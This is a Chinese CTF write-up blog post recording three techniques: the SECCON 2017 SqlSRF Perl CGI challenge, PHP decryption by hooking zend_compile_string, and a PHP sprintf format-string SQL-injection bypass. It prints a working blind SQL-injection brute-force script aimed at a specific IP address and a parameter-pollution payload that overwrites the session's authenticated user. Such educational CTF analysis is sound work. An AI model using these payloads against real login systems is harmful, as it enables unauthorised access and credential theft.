CTF知识点记录

0x00 前言

有半年没更新博客了,这次记录一下最近在ctf中学到的3个知识点,和其中一个详细的思路。

0x00 perl cgi特性

pwnhub最新一期《胖哈勃归来》中,是SECCON 2017 Online CTF原题SqlSRF。但是,这次需要用到perl的语言特性来产生另一个解。这里记录一下我的思路和复现过程,很有意思~

1. 原题解法

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id),
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
]),
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

my $errmsg = '';
if($q->param('login') ne '') {
use DBI;
my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
$errmsg = '<h2 style="color:red">Login Error!</h2>';
eval {
$sth->execute();
if(my @row = $sth->fetchrow_array) {
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
$s->param('autheduser', $q->param('user'));
print "<scr"."ipt>document.location='./menu.cgi';</script>";
$errmsg = '';
}
}
};
if($@) {
$errmsg = '<h2 style="color:red">Database Error!</h2>';
}
$dbh->disconnect();
}
$user = $q->escapeHTML($user);

print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;

明显存在注入的关键点:

1
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

使用原题解法,可以把用户admin的密码注入出来,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
from requests.auth import HTTPBasicAuth
import sys
from bs4 import BeautifulSoup

session = requests.Session()

def test(input):

query = "?user=admin' and "+input+" union select 'f36a76e0b977af58f3006d944e26583a' -- &pass=4f5fa294659094aff2305ab3fee18c0a&login=Login"
headers = {"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.5",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0",
"CGISESSID":"4bfb22d4b2510d5c49e3666636e9e84c",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive"}
#print "http://10.10.10.142/cgi-bin/pwnhub.cgi"+query
response = session.get("http://54.222.248.100/cgi-bin/index.cgi"+query, headers=headers)
#print response.text
return ("Login Error" in response.text)

def brute_force_expr(expr):
md5array = "abcdef0123456789"
ch_i=1
ascii_i=0 #
word = ""
while True:
found_char=False
while(ascii_i<16): #~
res = test("substr(("+expr+"),"+str(ch_i)+",1)='"+md5array[ascii_i]+"'")
if(res):
word += md5array[ascii_i]
print "Found (",ch_i,") ",md5array[ascii_i]," - ",word
found_char = True
break
ascii_i+=1

if(not found_char):
print "No char at index ",ch_i," .. ending string construction.."
break

ascii_i = 0
ch_i+=1
return word

print brute_force_expr(sys.argv[1].replace(" ","/**/")) #Replacement fix the spaces problem!

跑出的密码的md5值为:63730edfab254f34761c17e89de28086。学到了新知识,很棒~
然而,这个md5值时逆向解不出来的,所以需要另一种解法。

2. perl语言特性导致的新解法

后面看Payload很简单,但这里主要详细记录下我的解题思路。我当时有以下3个思路:

  • SQLite注入:能否多语句执行insert一个admin用户,上传shell?
  • 代码注入: 代码中存在eval {},是否可以注入?
  • HPP(HTTP Parameter Pollution)漏洞篡改Session的值。

于是乎,搭建环境自己试试了~~
没有学过perl,看了看这篇文章:https://qntm.org/files/perl/perl_cn.html。写得很好,推荐。 环境配置的步骤大概有:

环境搭建起来后,可以很轻松的验证SQLite注入这条路是行不通的。无法一次执行多条语句。
至于代码注入,网上查到这样一句话:

string eval is dangerous and block eval is “safe”;

因此,就看看perl如何处理两个相同参数的请求了。

1
perl pwnhub.cgi "user=admin' and 0 union select  'f36a76e0b977af58f3006d944e26583a' -- &user=admin&pass=4f5fa294659094aff2305ab3fee18c0a&login=Login"

出现了奇怪的Database Error!,看输出的bug日志:param(): usage error. Invalid syntax at pwnhub.cgi line ***.定位到了这一行:

1
$s->param('autheduser', $q->param('user'));

于是,多次测试发现,奇数次相同的user=请求可以正常处理,而偶数次不行。
为了看这个地方的具体问题,我决定再学习下,在ubuntu下面用VScode调试perl代码。插一句,搞到这里猛然发现pwnhub的题目结束了记错时间了,我还以为有三天。 安装VScode插件Perl Debug,并且再安装个perl语言的PadWalker依赖,即可开心地调试了配置好lanuch.json后,调试结果如下: 由上面的图,可以发现。当我们输入user=1&user=2&user=3时,session的值会变为:

1
2
3
4
{  
autheduser => 1,
2 => 3
}

如果把2改成autheduser,那么会变成啥样呢,调试一下便可以发现: 成功覆盖掉了前面的autheduser的值~~ 为什么会出现这样的特性,进入sessionparam()函数内部可以看到: my %args = @args 这行代码将传入的参数Array转成了hash。根据perl的根据上下文求值特性,就产生了这样的效果。 因此Payload为:

1
user=admin' and 0 union select '827ccb0eea8a706c4c34a16891f84e7b' -- &user=autheduser&user=admin&pass=12345&login=Login

看了writeup后,发现这篇文章介绍的很详细,学习:
https://blog.gerv.net/2014/10/new-class-of-vulnerability-in-perl-web-applications/

0x01 php解密

以前碰到php加密的问题,一般就扔到网站上付费解密了。 参考该文章:https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html
记录下好用的解密方式:

  • var_dump(get_defined_vars());
  • 单步调试
  • Hook eval~

最感兴趣的当然是Hook方式,写个php扩展,直接Hook底层zend_compile_string函数。
因此,参考下面的文章,我安装学习了下。php扩展安装3步,好记性不如烂笔头,记录一下:

  • phpize
  • 编译: ./configure make && make install
  • php.ini配置开启扩展

文章中PHP扩展中的关键点在以下代码:

1
2
3
4
5
6
7
8
9
PHP_MINIT_FUNCTION(evalhook)
{
if (evalhook_hooked == 0) {
evalhook_hooked = 1;
orig_compile_string = zend_compile_string; //HOOK `zend_compile_string`
zend_compile_string = evalhook_compile_string;
}
return SUCCESS;
}

然后在自定义的evalhook_compile_string函数中输出参数即可:

1
2
3
4
5
6
7
8
static zend_op_array *evalhook_compile_string(zval *source_string, char *filename TSRMLS_DC)
{
len = Z_STRLEN_P(source_string);
copy = estrndup(Z_STRVAL_P(source_string), len);
*********************
printf("%s\n\n\n", copy);
*********************
}

将通过phpjiami网站加密过的 <?php phpinfo(); ?>代码运行后,可以得到解密结果: 更多php解密学习请看:
http://php-security.org/2010/05/13/article-decoding-a-user-space-encoded-php-script/index.html http://blog.th3s3v3n.xyz/2017/12/12/web/Decrypt_php_VoiceStar_encryption_extension/

0x02 php格式化字符串漏洞

这个在LCTF2017中出现,单纯记录一下知识点~
分析文章请看:https://paper.seebug.org/386/
Copy关键代码记录:

1
2
3
4
5
6
7
8
<?php

$input = addslashes("%1$' and 1=1#");
$b = sprintf("AND b='%s'", $input);
...
$sql = sprintf("SELECT * FROM t WHERE a='%s' $b", 'admin');
echo $sql;
//result: SELECT * FROM t WHERE a='admin' AND b=' ' and 1=1#'

两个关键点:

  • %\'会通过%吃掉反斜杠。
  • %1$表示使用第一个参数进行赋值~ 不然PHP会报错。
文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2017/12/18/ctf-knowledge-point-record/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog